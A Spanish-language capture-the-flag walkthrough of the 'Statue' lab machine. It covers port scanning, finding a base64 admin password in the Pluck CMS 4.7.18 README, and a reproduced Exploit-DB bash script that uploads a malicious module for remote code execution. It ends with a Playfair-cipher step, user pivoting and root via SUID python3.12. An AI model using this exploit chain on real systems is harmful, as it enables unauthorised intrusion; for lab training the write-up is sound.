The Hackers Labs Statue

Empezamos como siempre por lo primero buscar que puertos estan abiertos en el host.


¡Nuevo! Combinaciones de teclas … Las combinaciones de teclas de Drive se han actualizado para que puedas navegar escribiendo las primeras letras
# Nmap 7.94SVN scan initiated Sat Aug 31 08:44:10 2024 as: nmap -sCV -p80 -oN target.txt 172.16.241.190
Nmap scan report for statue.thl (172.16.241.190)
Host is up (0.00054s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: rodgar - rodgar
|_Requested resource was http://statue.thl/?file=rodgar
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
Service Info: Host: 127.0.1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 31 08:44:17 2024 -- 1 IP address (1 host up) scanned in 6.71 seconds

Observamos la version y servicio del puerto 80, donde observamos que tenemos un dominio, lo añadiremos al /etc/hosts.


Si vamos al servicio web observamos algo simple, y en la parte de abajo tenemos un enlace al administrador.


Nos redirige a un CMS llamado pluck.


Si fuzzeamos la web tenemos varios directorios los cuales observar y ver que podemos sacar de ellos.


Usualmente uso gobuster para enumerar extenciones ya que con wfuzz es un dolor de huevo y bueno a nivel de archivos tenemos algunos mas ademas de los que ya enumeramos con wfuzz.


Si le lanzamos un curl al README.md que normalmente trae info del CMS o lo que corresponda, pues este trae una cadena en base64. Si lo decodificamos obtenemos una palabra.


La usamos como contraseña y estamos dentro del CMS, observamos la version y vamos a buscar exploit o vulnerabilidades haber si existen.


En exploitDB encontramos algo para esta version.

#!/bin/bash

# URLs del sitio web
login_url="http://localhost/pluck/login.php"
upload_url="http://localhost/pluck/admin.php?action=installmodule"
rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"

# Datos necesarios para el inicio de sesión
login_payload="cont1=admin&bogus=&submit=Log+in"

# Solicitar al usuario la ruta del archivo ZIP que se va a cargar
echo "ZIP file path: "
read file_path

# **Bloque 1: Iniciar sesión**
echo "Iniciando sesión..."

# Enviamos una solicitud POST al URL de inicio de sesión con los datos especificados
login_response=$(curl -s -w "%{http_code}" -o /dev/null -X POST "$login_url" -d "$login_payload")

# Verificamos el código de respuesta HTTP
if [ "$login_response" -eq 200 ]; then
    echo "Inicio de sesión exitoso."

    # **Bloque 2: Subir el archivo ZIP**
    echo "Subiendo archivo ZIP..."

    # Enviamos el archivo ZIP al URL de carga usando una solicitud POST
    upload_response=$(curl -s -w "%{http_code}" -o /dev/null -X POST "$upload_url" -F "sendfile=@$file_path;type=application/zip" -F "submit=Upload" -H "Referer: $login_url")

    # Verificamos el código de respuesta HTTP
    if [ "$upload_response" -eq 200 ]; then
        echo "Archivo ZIP cargado con éxito."

        # **Bloque 3: Ejecutar el código remoto**
        echo "Ejecutando código remoto..."

        # Hacemos una solicitud GET al URL de ejecución del código remoto
        rce_response=$(curl -s "$rce_url")
        echo "$rce_response"
    else
        echo "Error al cargar el archivo ZIP. Código de respuesta: $upload_response"
    fi
else
    echo "Error de inicio de sesión. Código de respuesta: $login_response"
fi

Resumen sube un archivo ZIP al directorio data.


Vamos a hacerlo manual.



Lo subimos a la web.


Buscamos el archivo que se subio segun el script en /data/modulos.nombre, Observamos que tenemos RCE.



Ya dentro de la maquina encontramos un directorio llamado Charles con un archivo llamado pista, tenemos una pass y un key.


Si la Key la decodificamos a texto plano tenemos una palabra.


Si vamos a google y buscamos el nombre del señor Charles, encotramos que a el se le atribuye la tecnica de cifrado Playfair.


Vamos a google y buscamos Playfair online.

  1. Uno pegamos la Pass del archivo pista que sera la password cifrada.

  2. Dos pegamos la palabra que estaba codificada en base64.

  3. Tres le damos Decifrar.

Y listo tenemos una palbra incomprensible.


  1. Si hacemos un cat del passwd, existe un user charles.

  2. Migramos al usuario charles.


Pivotamos del usuario charles ah juan.


Si buscamos permisos SUID y SGID para sus archivos, entontramos que python3.12 tiene permisos SUID.


GTFObins y magia somos root.

Última actualización